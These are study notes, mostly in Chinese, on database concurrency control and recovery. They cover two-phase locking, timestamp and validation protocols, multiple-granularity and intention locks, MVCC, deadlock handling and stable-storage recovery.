Closing Implicit Commit¶
Implicit commit can be closed using database instructions. For example:
- 在JDBC中,可以使用
connection.setAutoCommit(false)来关闭自动提交功能 - 这样,多个SQL语句可以组成一个事务,直到显式调用
COMMIT或ROLLBACK为止
Testing for Serializability¶
Precedence Graph¶
优先图是一个有向图,其中顶点表示事务。如果两个事务冲突,并且一个事务(T1)先于另一个事务(T2)访问冲突的数据项(Q),则在图中从一个事务(T1)指向另一个事务(T2)画一条弧。
Conflict Serializability Test¶
一个调度是冲突可串行化的,当且仅当其优先图是无环的。可以通过拓扑排序获得可串行化顺序。
View Serializability Test¶
优先图测试不能直接用于视图可串行化。检查调度是否视图可串行化是NP完全问题,但可以使用一些充分条件的实用算法。
Concurrent Control and Testing for Serializability¶
并发控制协议允许并发调度,但确保调度是冲突/视图可串行化的,并且是可恢复和无级联的。并发控制协议通常不会在创建过程中检查优先图,而是施加一种规则来避免非可串行化的调度。不同的并发控制协议在它们允许的并发量和产生的开销之间提供不同的权衡。测试可串行化有助于我们理解为什么并发控制协议是正确的。
Concurrency Control¶
约 7583 个字 15 行代码 7 张图片 预计阅读时间 26 分钟
Lock-Based Protocols¶
可串行化调度是并发控制的基础;
数据项可以以两种模式锁定:
- Exclusive (X) mode: 数据项可以被读取和写入。X锁通过lock-X指令请求。
- Shared (S) mode: 数据项只能被读取。S锁通过lock-S指令请求。
写一个数据之前,需要先得到一个X锁,读一个数据之前,需要先得到一个S锁。操作结束之后,将这个锁释放。
锁请求由并发控制管理器处理。事务只有在请求被授予后才能继续执行。
S锁与S锁是兼容的,X锁其它锁不兼容.
如果请求的锁与其他事务已经持有的锁兼容, 则事务可以获得对数据项的锁。 任意数量的事务可以对一个数据项持有共享锁(S锁), 但如果任何事务对该数据项持有排他锁(X锁),则其他事务不能持有任何类型的锁。
如果锁不能被授予,请求锁的事务将被阻塞等待, 直到所有不兼容的锁被其他事务释放。 然后,锁才会被授予给等待的事务。
Example
Example of a transaction performing locking
上面的锁定方式不足以保证可串行化 — 如果在读取A和B之间,A和B被更新了,那么显示的总和将是错误的。锁定协议(Locking protocols)是所有事务在请求和释放锁时遵循的一组规则。锁定协议限制了可能的调度集合。
上图展示了一个死锁的例子:
- T3 持有 B 的 X 锁,并请求 A 的 X 锁
- T4 持有 A 的 S 锁,并请求 B 的 S 锁
T3 和 T4 都无法继续执行 — T4 执行 lock-S(B) 会导致它等待 T3 释放 B 上的锁,而 T3 执行 lock-X(A) 会导致它等待 T4 释放 A 上的锁。这种情况被称为死锁(deadlock)。
为了处理死锁,必须回滚 T3 或 T4 中的一个事务,并释放其持有的锁。
deadlock & starvation
死锁(deadlock)是指在并发系统中,两个或多个事务(或进程)相互等待对方释放资源,从而导致所有事务都无法继续执行的情况。具体来说,在一个死锁的情境中,每个事务都持有某些资源的锁,并请求其他事务持有的资源锁,而这些资源锁又无法被释放,因为持有它们的事务也在等待其他资源的释放。
死锁是大多数锁定协议中存在的问题,可以说是一种"evil"。除了死锁外,饥饿(starvation)也是可能发生的问题,特别是当并发控制管理器设计不良时。
饥饿的例子包括:
- 一个事务可能正在等待对某个数据项的X锁,而同时有一系列其他事务请求并获得了对同一数据项的S锁,导致第一个事务无限期等待。
- 同一个事务由于反复遇到死锁而被多次回滚,无法完成执行。
一个设计良好的并发控制管理器应该能够防止饥饿现象的发生,例如通过实现公平的锁分配策略或优先级机制来确保所有事务最终都能获得所需的锁并完成执行。
The 2PL protocol¶
2PL协议(Two-Phase Locking)是一种用于并发控制的协议,它通过在事务执行过程中对锁的请求和释放进行限制,从而确保事务的执行顺序和结果的正确性。
2PL协议的执行过程可以分为两个阶段:
-
增长阶段(Growing Phase):
- 事务可以获取锁
- 事务不能释放锁
-
缩减阶段(Shrinking Phase):
- 事务可以释放锁
- 事务不能获取锁
该协议确保了冲突可串行化的调度。可以证明,事务可以按照它们的锁点(即事务获取其最后一个锁的时间点)的顺序进行串行化。
虽然2PL协议确保了冲突可串行化,但它并不能解决所有的并发控制问题:
-
死锁问题:2PL协议本身不能防止死锁的发生。当多个事务相互等待对方持有的锁时,仍然可能出现死锁情况。
-
级联回滚问题:在标准的2PL协议下,如果一个事务回滚,可能导致其他已读取该事务修改数据的事务也必须回滚,这称为级联回滚(cascading rollback)。
为了解决这些问题,有两种改进的2PL协议:
Strict 2PL¶
严格两阶段锁协议要求事务持有所有排他锁(X锁)直到事务提交或中止。具体规则如下:
- 事务必须按照2PL协议获取锁
- 事务持有的所有排他锁必须在事务结束(提交或中止)后才能释放
Strict 2PL的主要优点是避免了级联回滚问题,因为其他事务无法读取未提交的修改数据。
Rigorous 2PL¶
Rigorous 2PL比Strict 2PL更加严格,它要求事务持有所有锁(包括共享锁和排他锁)直到事务提交或中止:
- 事务必须按照2PL协议获取锁
- 事务持有的所有锁(S锁和X锁)必须在事务结束(提交或中止)后才能释放
Rigorous 2PL的主要优点是事务可以按照它们提交的顺序进行串行化,这提供了一种简单明确的串行化顺序。
在实际数据库系统中,通常采用Strict 2PL或Rigorous 2PL协议,因为它们不仅保证了可串行化,还避免了级联回滚问题,简化了恢复机制。
尽管2PL可能不是实现冲突可串行化的唯一方法,但它是一种通用且可靠的方法,特别是在没有关于事务访问模式的先验知识的情况下。这也解释了为什么2PL协议在实际数据库系统中被广泛采用。
Warning
虽然2PL协议可以保证生成冲突可串行化的调度,但需要注意的是:
-
并非所有冲突可串行化的调度都能通过2PL获得:
- 存在一些冲突可串行化的调度,它们无法通过遵循2PL协议的事务执行来产生。
- 这意味着2PL协议在某种程度上限制了可能的调度集合。
-
2PL对于冲突可串行化的必要性:
- 在没有额外信息(例如对数据访问的顺序)的情况下,2PL对于确保冲突可串行化是必要的。
- 这可以通过以下方式理解:如果事务Ti不遵循两阶段锁定协议,我们总能找到另一个遵循两阶段锁定的事务Tj,使得Ti和Tj的某个调度不是冲突可串行化的。(逆否)
Lock Conversion¶
锁转换(Lock Conversion)是两阶段锁协议的一个扩展,允许事务在执行过程中动态地改变已持有锁的类型。这种机制增加了并发控制的灵活性,同时仍然保持可串行化的保证。
在带有锁转换的两阶段锁协议中:
-
第一阶段(获取阶段):
- 可以获取项目上的共享锁(S锁)
- 可以获取项目上的排他锁(X锁)
- 可以将共享锁(S锁)升级为排他锁(X锁)(Upgrade操作)
-
第二阶段(释放阶段):
- 可以释放共享锁(S锁)(Unlock操作)
- 可以释放排他锁(X锁)(Unlock操作)
- 可以将排他锁(X锁)降级为共享锁(S锁)(Downgrade操作)
这个协议确保了可串行化。但它仍然依赖于程序员正确插入各种锁定指令。
锁转换的主要优势在于:
- 提高并发度:允许事务根据实际需要调整锁的类型,避免不必要的严格锁定。
- 减少死锁可能性:通过锁降级,可以在不完全释放锁的情况下减少对资源的独占,降低死锁风险。
- 增强灵活性:事务可以根据操作的不同阶段调整锁的强度,更好地适应实际需求。
Automatic acquisition of locks¶
在实际的数据库系统中,事务通常不需要显式地发出锁请求,而是由系统自动处理锁的获取和释放。这种自动锁定机制简化了编程,并确保了事务的正确执行。
当事务Ti发出标准的读/写指令(没有显式的锁定调用)时,系统会自动处理锁定:
读操作的处理:
当事务Ti执行read(D)操作时:
if Ti has a lock on D then
read(D)
else begin
if necessary wait until no other
transaction has a lock-X on D then
grant Ti a lock-S on D;
read(D)
end
Implementation of Locking¶
Definition
锁管理器通常被实现为一个独立的进程,事务向其发送锁定和解锁请求。锁管理器的工作流程如下:
- 当收到锁请求时,锁管理器会回复一个锁授予消息(或在发生死锁的情况下,发送一个要求事务回滚的消息)
- 请求锁的事务会等待,直到其请求得到回应
- 锁管理器维护一个称为锁表(lock table)的数据结构,用于记录已授予的锁和待处理的请求
锁表通常实现为一个内存中的哈希表,以被锁定的数据项的名称作为索引。 锁表中的每个条目通常包含:
- 数据项标识符
- 锁类型(共享/排他)
- 持有锁的事务列表
- 等待该数据项锁的事务队列
上图展示了一个锁表的示例。
新的请求会被添加到数据项请求队列的末尾,并且只有当它与所有早期锁兼容时才会被授予。
解锁请求会导致相应的请求被删除,系统会检查后续请求是否可以被授予。如果事务中止,该事务的所有等待或已授予的请求都会被删除。
为了高效实现这一机制,锁管理器通常会为每个事务维护一个持有锁的列表。这样,当事务完成或中止时,可以快速找到并释放该事务持有的所有锁。
锁管理器的实现需要考虑以下几个关键点:
- 高效的锁状态查询 :快速确定某个数据项的锁状态
- 兼容性检查 :判断新的锁请求是否与现有锁兼容
- 死锁检测 :识别并解决可能的死锁情况
- 公平性 :确保长时间等待的事务最终能获得所需的锁
这种集中式的锁管理机制虽然增加了一定的系统开销,但大大简化了并发控制的实现,并提高了系统的可靠性。
Graph-Based Protocols¶
Definition
基于图的协议 是二阶段锁定的一种替代方案。这种协议在数据项集合
上施加一个偏序关系。
如果 \(d_1 \rightarrow d_2\),那么任何同时访问 \(d_1\) 和 \(d_2\) 的事务必须先访问 \(d_1\) 再访问 \(d_2\)。这意味着数据集 \(D\) 可以被视为一个有向无环图,称为数据库图(database graph)。
树协议(tree-protocol)是一种简单的图协议。在树协议中,数据项被组织成一棵树的形式,事务必须按照从根到叶的顺序访问数据项。
树协议的规则如下:
-
仅允许排他锁(X锁):树协议中只使用排他锁,不使用共享锁。
-
首次加锁的灵活性:事务Ti的第一个锁可以加在任何数据项上。
-
层次化加锁规则:随后,Ti只能对当前已经被Ti锁定的数据项的子节点加锁。具体来说,数据项Q只有在其父节点已被Ti锁定的情况下才能被Ti锁定。
-
灵活的解锁时间:数据项可以在任何时候解锁,不必遵循严格的顺序。
-
不可重复加锁:一旦某个数据项被Ti锁定并解锁后,Ti不能再次锁定该数据项。
Summary
树协议的优缺点:
优点:
- 无死锁保证:树协议确保了冲突可串行化以及无死锁发生
- 提前解锁:与二阶段锁定协议相比,树协议允许更早地解锁数据项
- 等待时间更短:在某些情况下可以提高并发度
- 无需回滚:由于协议是无死锁的,不需要执行回滚操作
缺点:
- 恢复性问题:协议不保证可恢复性或避免级联回滚
- 需要额外机制:为确保可恢复性,需要引入提交依赖关系
- 额外锁定:事务可能必须锁定它们实际上不访问的数据项
- 锁开销增加:导致额外的等待时间
- 并发度潜在降低:在某些情况下可能降低系统的整体并发性能
值得注意的是,二阶段锁定协议和树协议各有所长,某些在二阶段锁定下不可能的调度在树协议下是可能的,反之亦然。选择哪种协议取决于具体的应用场景和数据访问模式。
Timestamp-Based Protocols¶
Definition
时间戳协议(Timestamp-Based Protocols)是一种基于时间戳的并发控制协议,用于管理数据库中的事务并发。每个事务在进入系统时都会被分配一个时间戳。如果一个旧事务\(T_i\)的时间戳为\(TS(T_i)\),那么一个新事务\(T_j\)将被分配时间戳\(TS(T_j)\),使得\(TS(T_i) < TS(T_j)\)。该协议通过时间戳来管理并发执行,以确保事务的可串行化顺序。
为了保证这种行为,协议为每个数据Q维护两个时间戳值:
- W-timestamp(Q):是任何成功执行write(Q)的事务中最大的时间戳。也就是最晚的写时间戳。
- R-timestamp(Q):是任何成功执行read(Q)的事务中最大的时间戳。也就是最晚的读时间戳。
Suppose a transaction Ti issues a read(Q):
-
If \(TS(Ti) \leqslant W-timestamp(Q)\), then Ti needs to read a value of Q that was already overwritten. Hence, the read operation is rejected, and Ti is rolled back.有更新的事务已经写入了Q,读取操作被拒绝,事务回滚。
-
If \(TS(Ti) \geqslant W-timestamp(Q)\), then the read operation is executed, and \(R-timestamp(Q)\) is set to the maximum of \(R-timestamp(Q)\) and \(TS(Ti)\).OK,可以读取。
Suppose that transaction Ti issues a write(Q):
-
If \(TS(Ti) < R-timestamp(Q)\), then the value of Q that Ti is producing was needed previously, and the system assumed that that value would never be produced. Hence, the write operation is rejected, and Ti is rolled back.有更新的事务已经读取了Q,写入的话会影响已经完成的事务,所以拒绝写入,回滚。
-
If \(TS(Ti) < W-timestamp(Q)\), then Ti is attempting to write an obsolete value of Q. Hence, this write operation is rejected, and Ti is rolled back.有更新的事务已经写入了Q,Ti试图写入一个过时的值,所以拒绝写入,回滚。
-
Otherwise, the write operation is executed, and \(W-timestamp(Q)\) is set to \(TS(Ti)\).OK,可以写入。
-
优先图弧:在时间戳排序协议中,优先图的构建方式是所有的弧都是从时间戳较早的事务指向时间戳较晚的事务。这种排序确保了没有循环,因为循环意味着一个事务依赖于未来的事务,这与时间戳排序相矛盾。
-
无死锁:该协议本质上避免了死锁,因为事务之间不会相互等待。如果一个事务由于时间戳冲突而无法继续,它将被回滚并以新的时间戳重新启动,确保没有事务处于等待状态。
-
级联回滚:虽然时间戳协议防止了死锁,但它并不固有地防止级联回滚。当一个事务被回滚时,可能会导致其他依赖的事务也被回滚。如果一个事务读取了另一个事务写入的值,而后者事务随后被回滚,就会发生级联回滚。为了解决这个问题,事务被结构化为其所有写操作都在处理结束时执行。这确保了事务的所有写操作形成一个原子操作,这意味着在一个事务正在写入时,其他事务不能执行。如果一个事务中止,它将以新的时间戳重新启动。此方法有助于减少级联回滚效应,并确保更稳定和可恢复的调度。
-
可恢复性:该协议可能还会产生不可恢复的调度。当一个事务读取了另一个事务写入的值时,如果写入事务在读取事务之前提交,调度是可恢复的。在时间戳协议中,一个事务可能会读取另一个事务的值,而后者事务随后被回滚,导致调度不可恢复。
-
权衡:时间戳排序协议在简化和性能之间提供了一种权衡。它通过避免死锁简化了并发控制,但可能由于潜在的级联回滚和不可恢复的调度而产生性能成本。在实践中,可能需要额外的机制来确保可恢复性和级联自由,例如实现提交依赖关系跟踪系统或使用更复杂的并发控制协议。
Thomas' Write Rule(托马斯写规则)¶
Definition
托马斯写规则是时间戳排序协议的一种修改版本,允许在某些情况下忽略过时的写操作,从而增加潜在的并发性。此规则在视图可串行化是可接受的场景中特别有用,即使未实现冲突可串行化。
当事务 Ti 尝试写入数据项 Q 时:
-
如果 \(TS(Ti) < W-timestamp(Q)\),则 Ti 试图写入一个过时的 Q 值。与标准时间戳排序协议要求的回滚不同,此写操作被简单地忽略。这允许系统在不必要的回滚下继续处理,从而增强并发性。
-
如果 \(TS(Ti) \geqslant W-timestamp(Q)\),则写操作按常规执行,并将 \(W-timestamp(Q)\) 更新为 \(TS(Ti)\)。
托马斯写规则允许视图可串行化但不一定是冲突可串行化的调度,提供了严格串行化和增加并发性之间的权衡。
-
增加的并发性:通过忽略某些过时的写操作,托马斯写规则减少了回滚次数,允许更多事务并发进行。
-
视图可串行化:此规则支持视图可串行化的调度,这比冲突可串行化的调度限制更少,从而实现更灵活的事务排序。
-
权衡:虽然托马斯写规则增加了并发性,但可能导致调度不是冲突可串行化的。在视图可串行化足以保证正确性的系统中,这种权衡通常是可以接受的。
-
使用场景:托马斯写规则在高并发环境中特别有利,在这些环境中,管理冲突可串行化的开销过高,并且系统可以容忍视图可串行化的放松约束。
Validation-Based Protocol¶
基于验证的协议,也称为乐观并发控制(Optimistic Concurrency Control),事务的执行分为三个阶段:
-
读取和执行阶段:在此阶段,事务 Ti 仅写入临时的本地变量。所有操作都在这些本地副本上执行,而不影响实际数据库。
-
验证阶段:事务 Ti 执行“验证测试”,以确定本地变量是否可以在不违反可串行化的情况下写入。这是确保事务之间不冲突的关键步骤。
-
写入阶段:如果 Ti 通过验证,则更新将应用于数据库;否则,Ti 将被回滚。
并发执行的事务的三个阶段可以交错进行,但每个事务必须按顺序经历这三个阶段。为了简化起见,假设验证和写入阶段是一起发生的,具有原子性和串行性,即一次只有一个事务执行验证/写入。
这种方法被称为乐观并发控制,因为事务在执行时完全希望在验证期间一切顺利。
-
优点:
- 增加并发性:由于事务在执行期间不锁定数据项,多个事务可以同时进行,从而提高系统吞吐量。
- 减少死锁:由于没有锁的存在,消除了死锁的可能性,简化了事务管理。
-
缺点:
- 高中止率的可能性:在高争用环境中,事务验证失败的可能性增加,导致更多的中止和重试。
- 复杂的验证逻辑:验证阶段可能变得复杂,特别是在有许多并发事务的系统中,因为它必须确保可串行化。
对于所有事务 Ti,如果 TS(Ti) < TS(Tj),则以下条件之一成立:
-
finish(Ti) < start(Tj)
-
start(Tj) < finish(Ti) < validation(Tj) 且 Ti 写入的数据项集合与 Tj 读取的数据项集合不相交。
-
如果第一个条件满足,则没有重叠的执行。
- 如果第二个条件满足,Tj 的写操作不会影响 Ti 的读操作,因为它们发生在 Ti 完成其读操作之后。
-
Ti 的写操作不会影响 Tj 的读操作,因为 Tj 没有读取 Ti 写入的任何数据项。
-
验证失败:如果上述条件均不满足,则验证失败,Tj 将被中止。
Multiple Granularity¶
在数据库系统中,允许数据项以不同的大小进行锁定,这被称为多粒度锁定(Multiple Granularity Locking)。这种方法通过定义数据粒度的层次结构来实现,其中较小的粒度嵌套在较大的粒度内,并可以图形化地表示为一棵树。
Granularity Hierarchy¶
- Root Node:表示整个数据库。
- Intermediate Node:表示数据库中的表或文件。
- Leaf Node:表示表中的记录或文件中的块。
当事务显式地锁定树中的一个节点时,它隐式地以相同的模式锁定该节点的所有子节点。
Locking Granularity¶
- Fine-Grained Locking(Lower in tree):在树的较低层次进行锁定,提供高并发性,但锁定开销较高。
- Coarse-Grained Locking(Higher in tree):在树的较高层次进行锁定,锁定开销较低,但并发性较低。
Example
假设有一个数据库包含多个表,每个表包含多个记录。可以将数据库视为树的根节点,表作为中间节点,记录作为叶子节点。
- 细粒度锁定:如果一个事务需要访问特定的记录,它可以直接锁定该记录。这允许其他事务同时访问同一表中的其他记录,从而提高并发性。
- 粗粒度锁定:如果一个事务需要访问整个表,它可以锁定表节点。这将阻止其他事务访问该表中的任何记录,降低并发性,但减少了锁定的开销。
通过选择适当的锁定粒度,系统可以在并发性和锁定开销之间进行权衡,以满足不同的性能需求。
Intention Lock Modes¶
在多粒度锁定中,存在三种意向锁模式:
-
Intention-shared (IS,共享型意向锁): 表明在树的较低层次存在共享锁。这意味着该节点的后代可能被显式地以共享模式锁定。
-
Intention-exclusive (IX,排它型意向锁): 表明在树的较低层次存在排他锁。这意味着该节点的后代可能被显式地以排他模式锁定。
-
Shared and intention-exclusive (SIX,共享排它型意向锁): 表明以共享模式显式锁定该节点的子树,并且在较低层次以排他模式进行显式锁定。SIX 锁是共享锁和排他意向锁的组合,即 SIX = S + IX。
这些意向锁模式允许事务在不同粒度级别上安全地锁定数据项,从而提高并发性和性能。
Example
考虑一个场景,其中多个事务正在与结构为树形的数据库交互。以下是意向锁在此上下文中的工作原理:
-
T1 用 X 锁锁定
ra1:ra1是一个叶子节点。在用 X 锁锁定ra1之前,意向排他锁(IX)会被放置在其所有祖先节点上直到根节点。这意味着:- 在
Fa上加 IX 锁(如果ra1在Fa下) - 在
Fb上加 IX 锁(如果ra1在Fb下) - 在根节点(整个数据库)上加 IX 锁
-
T2 用 S 锁锁定
Fb:Fb是一个中间节点。在用 S 锁锁定Fb之前,意向共享锁(IS)会被放置在其所有祖先节点上直到根节点。这意味着:- 在根节点(整个数据库)上加 IS 锁
-
T3 希望用 S 锁锁定
Fa:Fa是一个中间节点。在用 S 锁锁定Fa之前,意向共享锁(IS)会被放置在其所有祖先节点上直到根节点。这意味着:- 在根节点(整个数据库)上加 IS 锁
- 由于
T1在Fa上有一个 IX 锁,T3可以继续在Fa上加 S 锁,因为 IS 和 IX 是兼容的。
-
T4 希望用 S 锁锁定整个数据库:
- 根节点代表整个数据库。在用 S 锁锁定根节点之前,意向共享锁(IS)会被放置在其所有祖先节点上,但由于它是根节点,没有进一步的祖先节点。
- 如果没有冲突的锁,
T4可以继续在整个数据库上加 S 锁。然而,由于T1在根节点上有一个 IX 锁,T4必须等待,因为 S 和 IX 是不兼容的。
Lock schemas¶
事务 Ti 可以使用以下规则锁定节点 Q:
-
锁兼容性矩阵:
- Ti 必须遵循锁兼容性矩阵,以确保其获取的锁不会与其他事务持有的现有锁冲突。
-
根节点锁定:
- 必须首先锁定树的根节点。根节点可以以任何模式(S, IS, X, IX, SIX)锁定。
-
S 或 IS 模式锁定:
- 仅当 Q 的父节点当前被 Ti 以 IX 或 IS 模式锁定时,Ti 才能以 S 或 IS 模式锁定节点 Q。
-
X, SIX 或 IX 模式锁定:
- 仅当 Q 的父节点当前被 Ti 以 IX 或 SIX 模式锁定时,Ti 才能以 X, SIX 或 IX 模式锁定节点 Q。
-
两阶段锁定协议 (2PL):
-
Ti 只能在尚未解锁任何节点的情况下锁定节点。这确保 Ti 遵循两阶段锁定协议。
-
解锁节点:
- Ti 只能在 Q 的所有子节点都未被 Ti 锁定的情况下解锁节点 Q。这确保锁按照从叶到根的顺序释放。
优点: - 增强并发性:通过允许事务在不同粒度上锁定节点,系统可以支持更高水平的并发性。 - 降低加锁开销:使用意向锁和两阶段锁定协议有助于减少与锁定相关的开销,从而提高系统性能。
Multiversion Schemes¶
多版本并发控制(MVCC)是一种通过保留数据项的多个版本来提高数据库系统并发性的方法。这种方法允许事务访问不同版本的数据项而不相互干扰,从而提高系统性能并减少等待时间。
Multiversion Timestamp Ordering¶
-
版本创建:每次成功的写操作都会创建数据项的新版本。这个新版本用时间戳标记,通常是执行写操作的事务的时间戳。
-
读操作:当事务发出读(Q)操作时,系统根据事务的时间戳选择Q的最合适版本。选择的版本是时间戳最大且小于或等于读取事务时间戳的版本。这确保了读操作返回的数据视图与事务开始时的一致。
-
并发性:读取操作永远不需要等待,因为总有一个合适的版本可用。这是多版本方案的一个显著优势,因为它允许读操作在存在并发写操作的情况下不受延迟地进行。
Multiversion Two-Phase Locking¶
-
锁定机制:多版本两阶段锁定(MV2PL)结合了多版本并发控制与两阶段锁定的原则。在这种方案中,读操作不需要锁,因为它们可以直接访问合适的版本。然而,写操作仍然遵循两阶段锁定协议以确保可串行化。
-
版本管理:与多版本时间戳排序类似,每次写操作都会创建数据项的新版本。系统维护多个版本,每个版本都用创建它的事务的时间戳标记。
-
优点:通过允许读操作在没有锁的情况下进行,MV2PL减少了争用并提高了并发性。这种方法在读操作较多的工作负载中尤其有利,因为大多数操作都是读取。
总之,多版本并发控制方案,如多版本时间戳排序和多版本两阶段锁定,通过维护数据项的多个版本来增强并发性。这些方案允许读操作在不等待的情况下访问最合适的版本,从而提高系统性能并减少事务等待时间。
Info
在多版本并发控制系统中,事务可以分为两种类型:只读事务和更新事务。每种类型遵循不同的协议以确保数据一致性和系统性能。
-
更新事务:
- 锁定协议:更新事务在访问的数据项上获取读锁和写锁。它们遵循严格的两阶段锁定协议,这意味着它们在事务完成并提交之前持有所有获取的锁。
- 版本创建:更新事务的每次成功写操作都会创建数据项的新版本。这个新版本用时间戳标记。
- 时间戳管理:每个新版本的时间戳是从一个计数器
ts-counter中获得的,该计数器在事务提交处理期间递增。
-
只读事务:
- 时间戳分配:在执行之前,只读事务通过读取
ts-counter的当前值来分配时间戳。此时间戳用于在事务执行期间确定数据版本的可见性。 - 读取协议:只读事务遵循多版本时间戳排序协议。它们访问每个数据项的版本,该版本的时间戳最大且小于或等于事务的时间戳,从而确保数据库在事务开始时的一致视图。
- 时间戳分配:在执行之前,只读事务通过读取
Deadlock handling¶
Deadlock Prevention¶
Deadlock prevention protocols ensure that the system will never enter into a deadlock state. Some prevention strategies:
1) Require that each transaction locks all its data items before it begins execution (predeclaration) – conservative 2PL. (Either all or none are locked) Disadvantages: bad concurrency, hard to predict
2) Impose partial ordering of all data items and require that a transaction can lock data items only in the order (graph-based protocol). ---- therefore never form a cycle.
-
Wait-die scheme — 非抢占式:较旧的事务可以等待较新的事务释放数据项。较新的事务永远不会等待较旧的事务;相反,它们会被回滚。一个事务可能在获取所需数据项之前多次“死亡”。
-
Wound-wait scheme — 抢占式:较旧的事务会“伤害”(强制回滚)较新的事务,而不是等待它。较新的事务可以等待较旧的事务。与wait-die方案相比,可能会有更少的回滚。
在wait-and-die和wound-and-wait方案中,被回滚的事务以其原始时间戳重新启动。因此,较旧的事务优先于较新的事务,从而避免了饥饿。
基于超时的方案:
- 事务仅在指定的时间内等待锁。之后,等待超时,事务被回滚。
- 因此,不可能出现死锁。
- 实现简单;但可能会出现饥饿问题。此外,确定超时间隔的良好值也很困难。
Deadlock Detection¶
Deadlocks can be described as a wait-for graph, which consists of a pair \(G = (V,E)\),
\(V\) is a set of vertices (all the transactions in the system) \(E\) is a set of edges; each element is an ordered pair \(T_i \rightarrow T_j\).
If \(T_i \rightarrow T_j\) is in \(E\), then there is a directed edge from \(T_i\) to \(T_j\), implying that \(T_i\) is waiting for \(T_j\) to release a data item.
When \(T_i\) requests a data item currently being held by \(T_j\), then the edge \(T_i \rightarrow T_j\) is inserted in the wait-for graph. This edge is removed only when \(T_j\) is no longer holding a data item needed by \(T_i\).
Key-point
The system is in a deadlock state if and only if the wait-for graph has a cycle. Must invoke a deadlock-detection algorithm periodically to look for cycles.
Deadlock Recovery¶
When a deadlock is detected, the system must choose a transaction to roll back in order to break the deadlock. The selection of the victim transaction should be based on minimizing the cost. The cost can be determined by factors such as the amount of work done by the transaction, the resources it holds, and the number of rollbacks it has already undergone to prevent starvation.
-
Victim Selection:
- Choose the transaction with the minimum cost as the victim.
- Consider the number of rollbacks a transaction has already experienced as part of the cost to avoid starvation.
-
Rollback Strategy:
- Total Rollback: Abort the transaction completely and restart it. This is straightforward but may not always be the most efficient.
- Partial Rollback: Roll back the transaction only as far as necessary to resolve the deadlock. This can be more efficient as it allows the transaction to retain some of its progress.
-
Starvation Prevention:
- Track the number of times each transaction has been rolled back.
- Increase the cost factor for transactions that have been rolled back multiple times to ensure they are not repeatedly chosen as victims.
By implementing these strategies, the system can effectively manage deadlocks while minimizing the impact on transaction processing and avoiding starvation.
Insert and delete¶
Insert and Delete Operations in Two-Phase Locking¶
In a two-phase locking protocol, certain rules must be followed to ensure serializability when performing insert and delete operations:
- Delete Operation:
-
A delete operation may be performed only if the transaction deleting the tuple has an exclusive (X) lock on the tuple to be deleted. This ensures that no other transaction can access the tuple while it is being deleted, maintaining data consistency.
-
Insert Operation:
- A transaction that inserts a new tuple into the database is given an X-mode lock on the tuple. This exclusive lock prevents other transactions from accessing the tuple until the insert operation is complete, ensuring that the new data is correctly integrated into the database.
Phantom Phenomenon¶
Insertions and deletions can lead to the phantom phenomenon, which occurs when:
- A transaction scans a relation (e.g., finding the sum of balances of all accounts in Perryridge).
- Another transaction inserts a tuple into the relation (e.g., inserting a new account at Perryridge).
These transactions conceptually conflict despite not accessing any tuple in common. If only tuple locks are used, non-serializable schedules can result. For example, the scan transaction may not see the new account but reads some other tuple written by the update transaction.
To prevent the phantom phenomenon, additional locking mechanisms, such as predicate locks or index-range locks, may be required to ensure that the set of tuples being scanned remains consistent throughout the transaction's execution.
Index locking protocols¶
- 每个关系必须至少有一个索引。对关系的访问必须仅通过该关系的一个索引进行。
- 执行查找的事务 Ti 必须以 S 模式锁定其访问的所有索引桶。
- 事务 Ti 不得在不更新所有关系 r 的索引的情况下将元组 ti 插入到关系 r 中。
- Ti 必须在每个索引上执行查找,以查找所有可能已经包含指向元组 ti 的指针的索引桶,并在所有这些索引桶上以 X 模式获取锁。Ti 还必须在其修改的所有索引桶上以 X 模式获取锁。
- 必须遵守两阶段锁定协议的规则。
Recovery¶
约 6526 个字 28 行代码 7 张图片 预计阅读时间 23 分钟
Failure Classification¶
Transaction Failure¶
-
Logical Errors: Transaction cannot complete due to internal error conditions
- Overflow
- Bad input
- Data not found
- etc.
-
System Errors: Database system must terminate an active transaction due to error conditions
- Example: Deadlock
System Crash¶
- Power failure or other hardware/software failures causing system crash
- Fail-stop Assumption: Non-volatile storage contents are assumed to not be corrupted by system crash
- Database systems implement numerous integrity checks to prevent disk data corruption
Disk Failure¶
- Head crash or similar disk failure destroying all or part of disk storage
- Destruction Assumption: Failures are assumed to be detectable
- Disk drives use checksums to detect failures
Recovery Algorithms
Consider transaction Ti that transfers $50 from account A to account B
Two updates: subtract 50 from A and add 50 to B
Transaction Ti requires updates to A and B to be output to the database.
A failure may occur after one of these modifications have been made but before both of them are made.
Modifying the database without ensuring that the transaction will commit may leave the database in an inconsistent state
Not modifying the database may result in lost updates if failure occurs just after transaction commits
Recovery algorithms have two parts
- Actions taken during normal transaction processing to ensure enough information exists to recover from failures
- Actions taken after a failure to recover the database contents to a state that ensures atomicity, consistency and durability
Storage Structure¶
-
Volatile storage:
- Does not survive system crashes
- Examples: main memory, cache memory
-
Nonvolatile storage:
- Survives system crashes
- Examples: disk, tape, flash memory, non-volatile (battery backed up) RAM
- But may still fail, losing data
-
Stable storage:
- A mythical form of storage that survives all failures
- Approximated by maintaining multiple copies on distinct nonvolatile media
Stable-Storage Implementation¶
-
在多个独立的非易失性存储介质上维护每个块的多个副本
-
副本可以存放在远程站点,以防止火灾或洪水等灾难
-
数据传输过程中的故障仍可能导致副本不一致:
- 块传输可能导致:
- 成功完成
- 部分失败:目标块包含错误信息
- 完全失败:目标块从未更新
- 块传输可能导致:
-
保护存储介质在数据传输过程中免受故障(一种解决方案):
- 按以下方式执行输出操作(假设每个块有两个副本):
- 将信息写入第一个物理块
- 当第一次写入成功完成后,将相同的信息写入第二个物理块
- 只有在第二次写入成功完成后,输出操作才算完成
- 按以下方式执行输出操作(假设每个块有两个副本):
-
由于输出操作期间的故障,块的副本可能不同。要从中恢复:
-
首先找到不一致的块:
- 昂贵方案:比较每个磁盘块的两个副本
- 更好的方案:
- 在非易失性存储上记录正在进行的磁盘写入(非易失性RAM或磁盘的特殊区域)
- 在恢复期间使用此信息查找可能不一致的块,并仅比较这些块的副本
- 在硬件RAID系统中使用
-
如果检测到不一致块的两个副本中的任何一个有错误(错误的校验和),则用另一个副本覆盖它
- 如果两个副本都没有错误但不同,则用第一个块覆盖第二个块
Data Access¶
-
物理块(Physical blocks):
- 存储在磁盘上的块
- 通过input(B)操作将物理块B传输到主内存
- 通过output(B)操作将缓冲区块B传输到磁盘,并替换相应的物理块
-
缓冲区块(Buffer blocks):
- 临时存储在主内存中的块
- 用于提高数据访问效率
-
数据项(Data items):
- 为简化起见,假设每个数据项都能放入单个块中
- 存储在单个块内部
-
